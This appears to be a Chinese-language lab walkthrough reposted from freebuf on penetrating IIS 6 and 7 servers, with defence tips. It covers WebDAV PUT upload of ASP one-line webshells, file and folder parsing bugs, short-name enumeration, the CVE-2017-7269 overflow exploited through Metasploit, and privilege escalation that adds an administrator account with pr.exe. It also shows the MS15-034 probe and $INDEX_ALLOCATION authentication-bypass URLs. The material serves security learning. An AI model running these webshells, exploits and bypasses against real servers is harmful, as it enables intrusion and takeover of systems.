IIS渗透 – 作者:每天都要努力哇

31次阅读
没有评论

安装IIS6

这边在Windows Server 2003上安装

IIS渗透 - 作者:每天都要努力哇

IIS渗透 - 作者:每天都要努力哇

IIS渗透 - 作者:每天都要努力哇

IIS 6.X 安装是需要插件的

安装完成了

IIS渗透 - 作者:每天都要努力哇

打开就是这样

IIS渗透 - 作者:每天都要努力哇

安装IIS7

IIS7-win7-x64

IIS渗透 - 作者:每天都要努力哇

IIS渗透 - 作者:每天都要努力哇

IIS 6.X渗透

0x01 IIS写权限漏洞

实操

开启WebDAV引起的IIS写权限漏洞(攻击者可以上传文件)

PUT任意上传漏洞!

IIS渗透 - 作者:每天都要努力哇

开启脚本资源访问和写入:

IIS渗透 - 作者:每天都要努力哇

尝试写一个html文件

<center><h1>this is ASP a001 hello</center><h1><%eval request("a001")%>

IIS7远程访问一下

IIS渗透 - 作者:每天都要努力哇

IIS渗透 - 作者:每天都要努力哇

这边用一个工具

IIS渗透 - 作者:每天都要努力哇

添加对端IP和端口

IIS渗透 - 作者:每天都要努力哇

看到是可以写入的

打开Windows Server 2003上默认网站对用户的权限

IIS渗透 - 作者:每天都要努力哇

IIS渗透 - 作者:每天都要努力哇

写入一句话木马

<%eval request("a")%>

利用一个很老的.exe文件 进行PUT上传

IIS渗透 - 作者:每天都要努力哇

可以看到成功了

去Windows Server 2003上看一下 刷新一下

IIS渗透 - 作者:每天都要努力哇

可以看到上传成功了

这里说明一下

成功通过PUT方法上传了一个含有asp的一句话木马的txt文件

之所以不直接上传一个asp一句话是因为通常上传txt文本不会出错,但是上传asp就会报错

这个时候经过修改一下就可以了

这里要去Windows Server 2003开启IIS的asp解析功能

IIS渗透 - 作者:每天都要努力哇

然后把刚才上传上去的1.txt文件改名为shell.asp

IIS渗透 - 作者:每天都要努力哇

然后访问,拿蚁剑连接就可以了

IIS渗透 - 作者:每天都要努力哇

IIS渗透 - 作者:每天都要努力哇

防御

1.关闭 WebDav
2.关闭写入权限

0x02 解析漏洞

IIS文件解析漏洞

原理

IIS文件解析漏洞:*.asp;.xxx像这样畸形的文件IIS只会把他当作xxx.asp文件执行不会看分号之后的内容。

实操

IIS文件解析漏洞

首先在Windows Server 2003上创建一个a001.asp

<%=time()%>  会显示当前的时间

IIS渗透 - 作者:每天都要努力哇

同样也是要开启IIS的asp解析功能

IIS渗透 - 作者:每天都要努力哇

远程访问一下

IIS渗透 - 作者:每天都要努力哇

然后开始分析

a001.asp;.jpg–>实际访问的是a001.asp

a001.asp;.zip–>实际访问的是a001.zip

IIS渗透 - 作者:每天都要努力哇

IIS渗透 - 作者:每天都要努力哇
IIS渗透 - 作者:每天都要努力哇

这个时候 当我们将这个内容改成asp的一句话木马时

访问一下

IIS渗透 - 作者:每天都要努力哇

拿蚁剑连接一下 是可以的

IIS渗透 - 作者:每天都要努力哇

IIS目录解析漏洞

原理

IIS目录解析漏洞:以*.asp命名的文件夹中的文件都会被当作asp文件执行

创建一个1.asp目录

IIS渗透 - 作者:每天都要努力哇

把之前的1.txt复制进来

IIS渗透 - 作者:每天都要努力哇

访问一下

IIS渗透 - 作者:每天都要努力哇
IIS渗透 - 作者:每天都要努力哇

防御

  • 设置权限无
    IIS渗透 - 作者:每天都要努力哇

  • 不允许新建目录。

  • 上传的文件需经过重命名(时问戳+随机数+jpg等)

0x03 IIS短文件漏洞

简介

攻击者可以利用~字符猜解或遍历服务器中的文件名,或对IIS服务器中的 Net framework进行拒绝服务攻击!

就是存在文件枚举漏洞,攻击者可利用此漏洞枚举网络服务器根目录中的文件

我们到IIS目录下 去看一下

dir /x

IIS渗透 - 作者:每天都要努力哇

IIS短文件名产生

  • 当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位

  • 当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名

目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种

IIS8.0之后的版本只能通过 OPTIONS和 TRACE方法被猜测成功

实操

IIS8.0以下版本需要开启 ASP.NET支持,IIS大于等于8.0版本,即使没有安装 ASP.NET,通过OPTIONS和 TRACE方法也可以猜解成功

需要安装一下ASP.NET

IIS渗透 - 作者:每天都要努力哇

然后就多了这么一个东西

IIS渗透 - 作者:每天都要努力哇
新建一个.aspx的文件

IIS渗透 - 作者:每天都要努力哇

可以看到它也是存在的

IIS渗透 - 作者:每天都要努力哇

正常情况下 我们远程访问一下

它的返回是404

IIS渗透 - 作者:每天都要努力哇

或者是400的错误

用一个工具去爆破它

具体看这里

https://github.com/WebBreacher/tilde_enum
https://github.com/irsdl/IIS-ShortName-Scanner

安装java7

启动就是这样

IIS渗透 - 作者:每天都要努力哇
需要输入对端的IP

IIS渗透 - 作者:每天都要努力哇

这里选no

然后一路回车就好了

它就爆破出来了

IIS渗透 - 作者:每天都要努力哇

修复建议

1.从CMD命令关闭NTFS8.3文件格式的支持

Windows server2003:(1代表关闭,0代表开启
关闭该功能

fsutil behavior set disable8dot3 1
Windows server 2008 R2:
查询是否开启短文件名功能:fsutil 8dot3name query

关闭该功能:fsutil 8dot3name set 1

不同系统关闭命令稍有区别,该功能默认是开启的

2.从修改注册表关闭NTFS 8.3文件格式的支持

快捷键Win+R打开命令窗口,输入 regedit打开注册表窗口

找到路径

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem

IIS渗透 - 作者:每天都要努力哇
将其中的 NtfsDisable8dot3NameCreation这一项的值设为1,1代表不创建短文件名格式

注意

以上两种方式修改完成后,均需要重启系统生效。
此方法只能禁止NTFS 8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要重新复制才会消失

实战用处

  • 猜后台。

  • 猜敏感文件,例如备份的rar、zip、.bαk、.SQL文件等。

  • 在某些情形下,甚至可以通过短文件名直接下载对应的文件。比如下载备份SQL文件。

IIS短文件漏洞局限性

  • 如果文件名本身太短也是无法猜解的

  • 此漏洞只能确定前6个字符,如果后面的字符太长、包含特殊字符,很难猜解

  • 如果文件名前6位带空格,8.3格式的短文件名会补进,和真实文件名不匹配

  • 如果文件夹名前6位字符带点.,扫描程序会认为是文件而不是文件夹,最终出现误报

  • 不支持中文文件名,包括中文文件和中文文件夹。一个中文相当于两个英文字符,故超过4个中文字会产生短文件名,但是IIS不支持中文猜测

0x04 RCE-CVE-2017-7269

简介

Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以If:<http://开头的长标头执行任意代码 PROPFIND请求

影响范围:

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

复现一下这个漏洞

根据需求进行设置

IIS渗透 - 作者:每天都要努力哇

然后在Win7 远程打一下Windows Server 2003

Exp地址

https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py

Exp是基于python2的

修改一下

对端IP和端口

IIS渗透 - 作者:每天都要努力哇

执行一下

IIS渗透 - 作者:每天都要努力哇

去看看Win7的进程

多了calc.exe这样一个进程

IIS渗透 - 作者:每天都要努力哇

证明是存在缓冲区溢出的

漏洞修复

  • 关闭 WebDav服务

  • 使用相关防护设备

实战中的应用

条件:IIS 6.0 开启WebDav

接下来演示

exp:

https://github.com/zcgonvh/cve-2017-7269

下载后注意一点 进行更名一下

IIS渗透 - 作者:每天都要努力哇
然后我们把这个.rb文件放入MSF的渗透框架中

/usr/share/metasploit-framework/modules/exploits/windows/iis/

然后执行cp命令即可

cp /root/Desktop/cve_2017_7269.rb .

启动MSF

使用这个模块

use exploit/windows/iis/cve_2017_7269

IIS渗透 - 作者:每天都要努力哇

但是并没有拿到shell

进行排错一下

IIS渗透 - 作者:每天都要努力哇

在IP地址中未分配,可以解释为非默认绑定

注意:该exp只适用默认绑定和默认路径的情况才可以提权!

IIS渗透 - 作者:每天都要努力哇

这里 做不做都是可以的

就是批量检测进程溢出

这里有个工具

https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner
python IIS6_WebDAV_Scanner.py -p 1.txt

IIS渗透 - 作者:每天都要努力哇
得到溢出值是19

然后设置MSF中的PhysicalPathLength为19

MSF 重新跑一下

成功拿到了shell

IIS渗透 - 作者:每天都要努力哇

简单看一下权限

IIS渗透 - 作者:每天都要努力哇

是真的 好低哇

这里用到一个提权工具

针对缓冲区溢出的一个工具 挺老的

进行上传

upload '/root/Desktop/pr.exe'  c:\Windows\system32\inetsrv

然后进行创建用户

pr.exe "net user a002 963852 /add"

添加到管理员组

pr.exe "net localgroup administrators a002 /add

IIS7.x渗透

0x01 解析漏洞

原理

IIS7.x版本在Fast-CGl运行模式下,在任意文件,例:a001.jpg/png后面加上/php,会将a001.jpg/png解析为php文件

修复建议:配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序

我这边在Windows Server 2008 R2上进行搞

IIS渗透 - 作者:每天都要努力哇
IIS渗透 - 作者:每天都要努力哇
IIS渗透 - 作者:每天都要努力哇
IIS渗透 - 作者:每天都要努力哇

安装成功后 打开

IIS7是有一个默认网站的

本地访问一下 ok

这就成功了

IIS渗透 - 作者:每天都要努力哇

确定版本

IIS渗透 - 作者:每天都要努力哇

IIS渗透 - 作者:每天都要努力哇

确认是IIS7.5的版本

然后这边我用phpstudy进行联动

切换版本

IIS渗透 - 作者:每天都要努力哇
报了个错 说找不到

把这个文件扩展名 打开

IIS渗透 - 作者:每天都要努力哇
IIS渗透 - 作者:每天都要努力哇

Google的解决方案是说 因为phpstudy安装在了C盘目录下

所以启动要拿管理员启动

切换成功

IIS渗透 - 作者:每天都要努力哇

查看网站的基本信息

IIS渗透 - 作者:每天都要努力哇

默认端口是8980

那就访问一下phpstudy网站目录下的东西吧

访问康康哇

IIS渗透 - 作者:每天都要努力哇

成功访问

IIS渗透 - 作者:每天都要努力哇

如果你没有用phpstudy的话

那么就要手动添加

IIS渗透 - 作者:每天都要努力哇

右键添加 选择php安装目录下的的php-cgi.exe的文件 就可以了

IIS渗透 - 作者:每天都要努力哇

强调一下

这个勾要打上

IIS渗透 - 作者:每天都要努力哇

把Windows Server 2008 R2的防火墙关闭一下

然后远程访问一下

中间端口打错了

IIS渗透 - 作者:每天都要努力哇

解析漏洞

IIS渗透 - 作者:每天都要努力哇

IIS渗透 - 作者:每天都要努力哇

我们访问一下

IIS渗透 - 作者:每天都要努力哇

发现是不可以的

解析漏洞来了

IIS渗透 - 作者:每天都要努力哇

IIS渗透 - 作者:每天都要努力哇

IIS渗透 - 作者:每天都要努力哇

把这个对勾去了就可以了

IIS渗透 - 作者:每天都要努力哇
IIS渗透 - 作者:每天都要努力哇

成功解析为.php文件

WebDAV在IIS7.5 在这里

IIS渗透 - 作者:每天都要努力哇

IIS渗透 - 作者:每天都要努力哇

修复建议

配置 cgi.fix_pathinfo(php.ini中)为0并重启php-cgi程序

0x02 HTTP.SYS远程代码执行(MS15-034)

HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.SYS

HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响验证这个漏洞

影响范围

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和
Windows server 2012 R2

漏洞影响版本

IIS7.5、IIS8.0、IIS8.5

漏洞复现

IIS渗透 - 作者:每天都要努力哇

竟然304了

这里说一下304这个状态码

304状态码或许不应该认为是一种错误,而是对客户端有缓存情况下服务端的一种响应

直接Ctrl+F5强制刷新就可以了

ok 正常了 拿到了200的状态码

IIS渗透 - 作者:每天都要努力哇
JS前端的修改进行验证

IIS渗透 - 作者:每天都要努力哇
添加这段内容进行验证

Range: bytes=0-18446744073709551615

IIS渗透 - 作者:每天都要努力哇

IIS渗透 - 作者:每天都要努力哇

返回码状态为416 Requested Range Not Satisfiable

则存在 HTTP.SYS远程代码执行漏洞

漏洞影响版本:IIS6.0,IIS7.5

修复建议

安装修复补丁(KB3042553)

0x03 认证绕过漏洞

简介

Microsof IIS是 Microsoft windows系统默认自带的Web服务器软件,其中默认包含FTP服务。Microsof IIS中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。

漏洞影响版本

IIS6.0、IIS7.5

漏洞原因

Microsof IIS由于无法正确清理用户提供的输入,容易岀现身份验证绕过漏洞和源代码泄露漏洞。

主要包括以下三类绕过

(1)安装了PHP的Microsof IIS6.0身份验证绕过

IIS/6.0加载受保护(如:admin)目录中的PHP文件需要用户认证信息(用户名和密码访问),如果将“∷$INDEX_ALLOCATION”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致IIS服务器重要信息泄露:

/admin::$INDEX_ALLOCATION/index.php

(2)Microsof IIS7.5经典ASP身份验证绕过

配置了经典ASP和 .NET Framework 4.0的Microsof IIS7.5,通过将:i30:I NDEX_ALLOCATION后缀附加到需要认证的请求目录名称后面,可以绕过经典的ASP文件访问限制

/admin:$i30:$INDEX_ALLOCATION/index.asp

(3)Microsof IIS7.5 .NET源代码公开和身份验证绕过

在配置中安装了PHP的Microsof IIS7.5,存在认证绕过漏洞;

http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php

演示一下第三个

.NAT版本需要是4以上

IIS渗透 - 作者:每天都要努力哇

网站目录在这里

搞个文件夹 丢个index.php

IIS渗透 - 作者:每天都要努力哇

IIS渗透 - 作者:每天都要努力哇

当我们把这个匿名身份验证禁用

IIS渗透 - 作者:每天都要努力哇

访问一下

就变成401的未授权了

IIS渗透 - 作者:每天都要努力哇

然后我们进行绕过

http://IP/a001:$i30:$INDEX_ALLOCATION/index.php

0x04 解析漏洞+认证绕过漏洞

目标站点限制上传和访问php文件

可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行

网站目录下有一个 index.aspx的文件,里面写有php代码

在这里插入图片描述

认证漏洞绕过访问 index.aspx文件,页面返回乱码,未执行 phpinfo代码!

http://IP/a001:$i30:$INDEX_ALLOCATION/index.aspx

这里我们在加上解析漏洞

http://IP/a001:$i30:$INDEX_ALLOCATION/index.aspx/.php

在这里插入图片描述

成功执行

来源:freebuf.com 2021-07-18 06:25:49 by: 每天都要努力哇

正文完
 0
评论(没有评论)